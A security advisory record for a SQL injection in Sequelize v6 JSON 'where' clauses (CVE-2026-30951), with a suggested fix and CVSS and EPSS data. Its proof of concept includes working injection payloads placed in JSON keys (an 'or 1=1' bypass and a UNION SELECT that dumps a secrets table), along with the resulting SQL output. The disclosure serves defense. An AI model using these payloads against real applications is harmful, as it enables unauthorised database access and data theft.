{"id":"CVE-2026-30951","aliases":["GHSA-6457-6jrx-69cr"],"url":"https://o3.security/vulnerability/CVE-2026-30951","summary":"Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type","details":"### Summary\n\nSQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS <type>)` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.\n\nAffected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected.\n\n### Details\n\nIn `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation:\n\n```javascript\n// line 1892\n_traverseJSON(items, baseKey, prop, item, path) {\n    let cast;\n    if (path[path.length - 1].includes(\"::\")) {\n      const tmp = path[path.length - 1].split(\"::\");\n      cast = tmp[1];       // attacker-controlled, no escaping\n      path[path.length - 1] = tmp[0];\n    }\n    // ...\n    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));\n}\n```\n\n`_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly:\n\n```javascript\nreturn `CAST(${result} AS ${smth.type.toUpperCase()})`;\n```\n\nJSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not.\n\n**Suggested fix** — whitelist known SQL data types:\n\n```javascript\nconst ALLOWED_CAST_TYPES = new Set([\n  'integer', 'text', 'real', 'numeric', 'boolean', 'date',\n  'timestamp', 'timestamptz', 'json', 'jsonb', 'float',\n  'double precision', 'bigint', 'smallint', 'varchar', 'char',\n]);\n\nif (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {\n  throw new Error(`Invalid cast type: ${cast}`);\n}\n```\n\n### PoC\n\n`npm install sequelize@6.37.7 sqlite3`\n\n```javascript\nconst { Sequelize, DataTypes } = require('sequelize');\n\nasync function main() {\n  const sequelize = new Sequelize('sqlite::memory:', { logging: false });\n\n  const User = sequelize.define('User', {\n    username: DataTypes.STRING,\n    metadata: DataTypes.JSON,\n  });\n\n  const Secret = sequelize.define('Secret', {\n    key: DataTypes.STRING,\n    value: DataTypes.STRING,\n  });\n\n  await sequelize.sync({ force: true });\n\n  await User.bulkCreate([\n    { username: 'alice', metadata: { role: 'admin', level: 10 } },\n    { username: 'bob',   metadata: { role: 'user',  level: 5 } },\n    { username: 'charlie', metadata: { role: 'user', level: 1 } },\n  ]);\n\n  await Secret.bulkCreate([\n    { key: 'api_key', value: 'sk-secret-12345' },\n    { key: 'db_password', value: 'super_secret_password' },\n  ]);\n\n  // TEST 1: WHERE clause bypass\n  const r1 = await User.findAll({\n    where: { metadata: { 'role::text) or 1=1--': 'anything' } },\n    logging: (sql) => console.log('SQL:', sql),\n  });\n  console.log('OR 1=1:', r1.map(u => u.username));\n  // Returns ALL rows: ['alice', 'bob', 'charlie']\n\n  // TEST 2: UNION-based cross-table exfiltration\n  const r2 = await User.findAll({\n    where: {\n      metadata: {\n        'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'\n      }\n    },\n    raw: true,\n    logging: (sql) => console.log('SQL:', sql),\n  });\n  console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));\n  // Returns: api_key=sk-secret-12345, db_password=super_secret_password\n}\n\nmain().catch(console.error);\n```\n\n**Output:**\n\n```\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n  FROM `Users` AS `User`\n  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';\nOR 1=1: [ 'alice', 'bob', 'charlie' ]\n\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n  FROM `Users` AS `User`\n  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0\n  UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';\nUNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]\n```\n\n### Impact\n\n**SQL Injection (CWE-89)** — Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).\n\nA common vulnerable pattern:\n\n```javascript\napp.post('/api/users/search', async (req, res) => {\n  const users = await User.findAll({\n    where: { metadata: req.body.filter }  // user controls JSON object keys\n  });\n  res.json(users);\n});\n```","published":"2026-03-10T20:22:46.150Z","modified":"2026-08-21T03:30:33.793119379Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":{"score":0.00422,"percentile":0.3602,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"sequelize","fixedVersion":"6.37.8"}],"fix":null,"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30951.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:8498"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-30951"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/30xxx/CVE-2026-30951.json"},{"type":"ADVISORY","url":"https://github.com/sequelize/sequelize/security/advisories/GHSA-6457-6jrx-69cr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30951"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2446250"},{"type":"PACKAGE","url":"https://github.com/sequelize/sequelize"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-21T03:30:33.793119379Z"}}